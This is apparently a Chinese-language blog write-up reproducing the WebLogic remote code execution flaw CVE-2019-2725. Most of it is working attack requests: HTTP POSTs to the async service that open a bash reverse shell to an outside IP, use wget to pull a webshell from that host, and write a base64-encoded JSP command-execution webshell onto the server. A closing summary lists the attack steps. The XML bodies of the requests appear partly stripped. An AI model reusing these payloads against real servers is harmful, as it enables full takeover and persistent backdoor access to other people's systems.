漏洞介绍

中国民生银行股份有限公司举办攻防演练发现攻击方采用48814 0day拿下服务器。

漏洞影响

Weblogic 10.3.6.0

Weblogic 12.1.3.0

Weblogic 12.2.1.2

Weblogic 12.2.1.3

复现过程

1.确认漏洞存在

http://www.bug1024.cn:17021/_async/AsyncResponseService

weblogic CNVD-C-2019-48814（CVE-2019-2725）_第1张图片

2.监听自己服务器的9999端口

weblogic CNVD-C-2019-48814（CVE-2019-2725）_第2张图片

3.反弹shell

POST /_async/AsyncResponseService HTTP/1.1
Host: www.bug1024.cn:17001
Content-Length: 794
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: think_var=zh-cn; PHPSESSID=40d1rb84g60dqi60nabgv05qn5
X-Forwarded-For: 192.168.111.135
Connection: keep-alive
Upgrade-Insecure-Requests: 1
content-type: text/xml



   
 
xx
xx




/bin/bash


-c


bash -i >& /dev/tcp/47.101.198.184/9999 0>&1

weblogic CNVD-C-2019-48814（CVE-2019-2725）_第3张图片

含义：把当前运行weblogic的bash反弹到47.101.198.184的9999端口上。

反弹成功

weblogic CNVD-C-2019-48814（CVE-2019-2725）_第4张图片

4.上传webshell

POST /_async/AsyncResponseService HTTP/1.1
Host: www.bug1024.cn:17001
Content-Length: 865
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: think_var=zh-cn; PHPSESSID=40d1rb84g60dqi60nabgv05qn5
X-Forwarded-For: 192.168.111.135
Connection: keep-alive
Upgrade-Insecure-Requests: 1
content-type: text/xml


   
 
xx
xx




/bin/bash


-c


wget http://47.101.198.184:80/webshell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell3.jsp

weblogic CNVD-C-2019-48814（CVE-2019-2725）_第5张图片

5.访问webshell

http://www.bug1024.cn:17001/_async/webshell3.jsp

weblogic CNVD-C-2019-48814（CVE-2019-2725）_第6张图片

无网写shell

POST /_async/AsyncResponseService HTTP/1.1
Host: www.bug1024.cn:17001
Content-Length: 1388
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: think_var=zh-cn; PHPSESSID=qro0j9fr8vo4omtc06nvuuou65; JSESSIONID=r71RcyjP4TtTpnYNkhcpvZJNqLzWr82cpzDtTWDzljwnJJl9gm0p!-1900228417
Connection: close
Upgrade-Insecure-Requests: 1
content-type: text/xml



   
 
xx
xx




/bin/bash


-c


echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4= |base64 -d > servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell1.jsp

访问 /_async/webshell.jsp?pwd=123&cmd=ifconfig

总结

1.反弹shell到自己服务器
2.burp构造payload，返回202状态如上图
3.反弹shell成功
4.把webshell.txt上传到自己服务器上
5.burp构造payload，返回202状态如上图
6.访问webshell.jsp

参考：https://www.jianshu.com/p/c4982a845f55?tdsourcetag=s_pctim_aiomsg

weblogic CNVD-C-2019-48814（CVE-2019-2725）